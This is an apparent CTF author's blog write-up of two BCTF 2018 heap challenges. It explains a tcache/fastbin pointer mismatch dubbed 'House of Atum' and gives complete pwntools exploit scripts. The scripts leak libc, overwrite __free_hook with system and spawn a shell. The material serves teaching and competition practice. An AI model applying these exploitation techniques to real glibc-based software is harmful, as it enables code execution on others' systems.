Yongheng Chen (Ne0)

我有功于人不可念,而过则不可不念;人有恩于我不可忘,而怨则不可不忘. -- 菜根谭

Home Writeup About GitHub Friend

BCTF 2018 three & House of Atum

26 November 2018

Hi, I am Ne0. I made two challenges three and House of Atum for BCTF 2018, which is held by Blue-Lotus. I hope that you guys enjoyed this CTF. If you like this writeup, please follow me on Github. And the challenges can be find at here

Three

This is an easy challenge. But the number of solve is not as much as I expected. I think many people tried to use house of roman to solve this challenge. Here I want to tell you: House of roman is Dead. Don’t use it any more.

Then how do we leak the address of libc with a challenge that doesn’t have leak feature? Bruteforce 4 bits to modify the _IO_2_1_stdout_. See the exploit below.

Exploit

from pwn import *

local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True

libc=ELF('./libc.so.6')

if local==1:
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla("choice:",str(idx))

def add(content):
    choice(1)
    sa("content:",content)

def edit(idx,content):
    choice(2)
    sla("idx:",str(idx))
    sa("content:",content)

def free(idx,c):
    choice(3)
    sla(":",str(idx))
    sla(":",c)

if __name__ == '__main__':

    add("123")
    add(p64(0x11)*8)
    free(1,'y')
    free(0,'n')
    edit(0,p8(0x50))
    add('123')
    add(p64(0))
    free(1,'n')
    edit(2,p64(0)+p64(0x91))
    for i in range(0x7):
        free(1,'n')
    edit(2,p64(0)+p64(0x51))
    free(0,'y')
    edit(2,p64(0)+p64(0x91))
    free(1,'y')

    # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
    edit(2,p64(0)+p64(0x51)+p16(0x7760))
    add("123")

    # Modify the flag and the write pointers
    add(p64(0xfbad3c80)+p64(0)*3+p8(0))
    rv(8)
    libc_addr=raddr()-0x3ed8b0
    lg("libc",libc_addr)
    libc.address=libc_addr
    ru("Done")
    free(0,'y')
    edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
    add("123")
    edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
    free(0,'y')
    add(p64(libc.symbols['system']))
    edit(2,'/bin/sh\x00')
    choice(3)
    sla(":",str(2))
    p.interactive()

House of Atum

This is a much more insteresting challenge. If you haven’t take a look at the challenge, I strongly recomend you to try it.

Program info

This is a heap challenge too.

int menu(){
    puts("1. new");
    puts("2. edit");
    puts("3. delete");
    printf("Your choice:");
    return getint();
}

The bug is obvious: UAF. But you have only 2 chunks to get the shell. This seems impossible at the first glance. Is it?

Exploit

The server os is Ubuntu 18.04, which you can judge from the version of the libc.so.6. So it use tcache.

We all know that pointers in tcache don’t point to a chunk itself, but at the offset of 0x10. This is because tcache doesn’t check the size or other things when allocating and pointing directly to the address which user can control is more appropriate.

However , this makes it inconsistent with chunks in fastbin , as pointers in fastbin point to the chunks itself.

It’s easy than it sounds. Take a look at the POC below

void *a = malloc(0x28);
void *b = malloc(0x28);

// fill the tcache
for(int i=0; i<7 ;i++){
    free(a);
}

free(b);

//What will happen with this:
free(a);

Get the idea?

Before the last free, the heap is like:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   <-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +------------+----------+       |
                                          |                  |
                                          +------------------+


fastbin                                 b
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   |
+-------+                    |                       |
|       |                    |                       |
+-------+                    +-----------------------+

After the last free, it becomes:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   +-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +-----------------------+       |
                                                             |
                                                         +---+
                                                         |
fastbin                                 a                |            b
+-------+                    +-----------+-----------+   | +-----------+-----------+
|       +-------------+      | prev_size |   size    | +-+-> prev_size |   size    |
+-------+             |      +-----------+-----------+ |   +-----------+-----------+
|       |             +------>  fd=b                 +-+   |  fd=0                 |
+-------+                    |                       |     |                       |
|       |                    |                       |     |                       |
+-------+                    +-----------------------+     +-----------------------+

Oh no! The prev_size of b will be used as the fd of the tcache! And this field can be controled by us!

Well, now you know how to solve the challenge.

Final exp:

from pwn import *

local=1
pc='./heapme'
remote_addr=['',0]
aslr=False
#context.log_level=True

libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    def wrap(f):
        def go(*args,**kargs):
            sla("choice:",str(idx))
            f(*args,**kargs)
        return go
    return wrap

@choice(idx=1)
def add(content):
    sa("content:",content)

@choice(idx=2)
def edit(idx,content):
    sla("idx:",str(idx))
    sa("content:",content)

@choice(idx=3)
def free(idx,c):
    sla(":",str(idx))
    sla(":",c)

@choice(idx=4)
def show(idx):
    sla(":",str(idx))

if __name__ == '__main__':
    # leak heap
    add("123")
    add("123")
    free(1,'y')
    free(0,'y')
    add('1')
    show(0)
    ru("tent:")
    heap_addr=raddr()-0x231
    lg("Heap addr",heap_addr)


    # allocate a chunk at heap_addr+0x68
    free(0,'y')
    add(p64(0)*7+p64(0x61)+p64(heap_addr+0x68))
    add("123")
    for i in range(7):
        free(0,'n')
    free(1,'y')
    free(0,'y')
    add("123")
    add("123")

    # create fake chunk and leak libc
    free(1,'y')
    add(p64(0))
    edit(0,p64(0)*3+p64(0xa1))
    free(0,'y')
    edit(1,p64(0))
    add("123")
    free(0,'y')
    edit(1,p64(0))
    add(p64(0x21)*9)
    free(0,'y')

    edit(1,p64(heap_addr+0x280))
    add("123")
    for i in range(0x7):
        free(0,'n')
    free(0,'y')
    edit(1,p64(heap_addr+0x260))
    add("A"*0x20)
    show(0)
    ru("A"*0x20)
    libc_addr=raddr()-0x3ebca0
    lg("Libc address",libc_addr)
    libc.address=libc_addr
    free(0,'y')

    # modify __free_hook
    edit(1,p64(libc.symbols['__free_hook']))
    add(p64(libc.symbols['system']))
    edit(1,'/bin/sh\x00')

    sla("choice:",str(3))
    sla(":",str(1))
    p.interactive()

This inconsistence is interesting and never occurs in CTFs, so I name it House of Atum. I think there are still many techniques that can be derived from it. I hope this challenge can bring you something.

Conclusion

Again, if you like this writeup, please follow me on Github. If you have other solutions, please share with me!